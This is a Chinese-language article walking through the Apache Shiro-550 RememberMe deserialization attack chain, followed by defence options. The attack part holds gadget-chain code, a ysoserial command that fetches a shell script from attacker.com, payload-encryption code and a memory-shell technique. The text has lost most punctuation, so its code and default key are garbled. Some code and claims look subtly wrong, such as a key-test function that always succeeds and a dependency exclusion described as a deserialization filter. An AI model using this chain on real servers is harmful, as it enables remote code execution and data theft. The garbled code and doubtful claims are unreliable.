
Apache Shiro 1.2.4 反序列化漏洞深度解析从RememberMe Cookie到RCE的完整攻击链在Java安全领域Apache Shiro框架的反序列化漏洞CVE-2016-4437堪称经典案例。本文将深入剖析Shiro 1.2.4版本中这个被标记为Shiro-550的漏洞揭示从RememberMe Cookie构造到最终实现远程代码执行RCE的完整技术链条。1. 漏洞核心原理分析Shiro的RememberMe功能允许用户在关闭浏览器后仍保持登录状态其实现机制涉及三个关键环节序列化与加密流程用户登录成功时Shiro会执行以下操作// 伪代码展示核心流程 Serializable principal serialize(userPrincipal); byte[] encrypted AES.encrypt(principal, DEFAULT_KEY); String cookieValue Base64.encode(encrypted);硬编码密钥问题漏洞根源在于AbstractRememberMeManager类中private static final byte[] DEFAULT_CIPHER_KEY_BYTES Base64.decode(kPHbIxk5D2deZiIxcaaaA);这个AES密钥被硬编码在框架中且从1.2.4到1.4.2版本均未改变。反序列化触发点当请求携带RememberMe Cookie时Shiro会逆向执行Base64解码 - AES解密 - 反序列化攻击者只要获取默认密钥就能构造恶意序列化数据。关键点不同于常规反序列化漏洞Shiro的漏洞利用需要先突破AES加密层这也是该漏洞长期未被发现的原因。2. 完整攻击链拆解2.1 信息收集阶段攻击者首先需要确认目标系统存在漏洞GET /login HTTP/1.1 Host: target.com # 检测响应中是否包含RememberMe字段 Set-Cookie: rememberMedeleteMe; Path/; Max-Age0; Expires...2.2 密钥获取与验证使用公开的默认密钥进行验证import base64 from Crypto.Cipher import AES def test_key(key): try: cipher AES.new(base64.b64decode(key), AES.MODE_CBC) return True except: return False KNOWN_KEYS [ kPHbIxk5D2deZiIxcaaaA, 2AvVhdsgUs0FSA3SDFAdag, 3AvVhmFLUs0KTA3Kprsdag ] valid_keys [k for k in KNOWN_KEYS if test_key(k)]2.3 恶意Payload构造典型利用链选择以CommonsCollections6为例组件作用PriorityQueue反序列化入口点TiedMapEntry触发Map操作LazyMap延迟执行transformInvokerTransformer反射调用危险方法// 简化版Payload生成逻辑 Transformer[] transformers new Transformer[]{ new InvokerTransformer(getMethod, ...), new InvokerTransformer(invoke, ...), new ConstantTransformer(Runtime.class), new InvokerTransformer(exec, ...) }; ChainedTransformer chain new ChainedTransformer(transformers); Map lazyMap LazyMap.decorate(new HashMap(), chain); TiedMapEntry entry new TiedMapEntry(lazyMap, exploit); PriorityQueue queue new PriorityQueue(2); queue.add(entry); queue.add(entry);2.4 完整攻击流程使用ysoserial生成Payloadjava -jar ysoserial.jar CommonsCollections6 curl http://attacker.com/shell.sh payload.bin使用Shiro默认密钥加密from Crypto.Cipher import AES import uuid def encrypt(key, payload): iv uuid.uuid4().bytes cipher AES.new(base64.b64decode(key), AES.MODE_CBC, iv) return base64.b64encode(iv cipher.encrypt(payload))构造恶意CookieCookie: rememberMeENCRYPTED_PAYLOAD; Path/;3. 防御方案对比方案优点缺点升级到1.7.1彻底修复使用随机密钥可能需代码适配自定义密钥保持版本兼容性需确保密钥安全禁用RememberMe完全消除风险牺牲用户体验推荐组合方案升级到最新稳定版自定义高强度密钥Bean public CookieRememberMeManager rememberMeManager() { CookieRememberMeManager manager new CookieRememberMeManager(); manager.setCipherKey(generateSecureKey()); return manager; }添加反序列化过滤器dependency groupIdorg.apache.shiro/groupId artifactIdshiro-core/artifactId version${shiro.version}/version exclusions exclusion groupIdorg.apache.commons/groupId artifactIdcommons-collections4/artifactId /exclusion /exclusions /dependency4. 深度技术剖析4.1 AES加密模式分析Shiro使用CBC模式进行加密其加密结构如下区块长度说明IV16字节随机初始化向量密文N*16字节PKCS7填充的序列化数据加密过程伪代码def encrypt(key, plaintext): iv os.urandom(16) cipher AES.new(key, AES.MODE_CBC, iv) padded pad(plaintext, AES.block_size) return iv cipher.encrypt(padded)4.2 反序列化防御机制绕过Shiro的反序列化流程存在两个关键弱点没有对反序列化的类进行白名单校验在DefaultSerializer.deserialize()中直接调用ObjectInputStream对比安全实现应包含ObjectInputStream ois new SafeObjectInputStream(byteSource.getInputStream());4.3 攻击链优化技巧实际渗透测试中需要注意Payload大小限制Cookie通常有4KB限制需精简Payload不出网利用当目标无法外连时可构造内存马// 注册Filter内存马示例 defineClass(evilFilterBytes) addFilter(evilFilter, new EvilFilter())回显处理通过异常信息或延时判断执行结果5. 实战检测与验证使用集成化检测工具验证漏洞python shiro_exploit.py -u http://target.com -c whoami典型响应特征有效Payload返回200状态码无效Padding返回rememberMedeleteMe的Set-Cookie头对于防御方推荐检测方案流量审计规则Set-Cookie.*rememberMe[^]{10,};.*(deleteMe|JSESSIONID)RASP防护点// 在ObjectInputStream.resolveClass()处hook if(classname.contains(org.apache.commons.collections)) { throw new SecurityException(Block dangerous deserialization); }在真实企业环境中曾遇到一个典型案例某金融系统因使用旧版Shiro攻击者通过该漏洞获取了数据库权限。事后分析发现系统虽然修改了默认密钥但密钥被硬编码在源码中并意外泄露到GitHub。这提醒我们密钥管理同样重要建议采用类似Vault的专用密钥管理系统。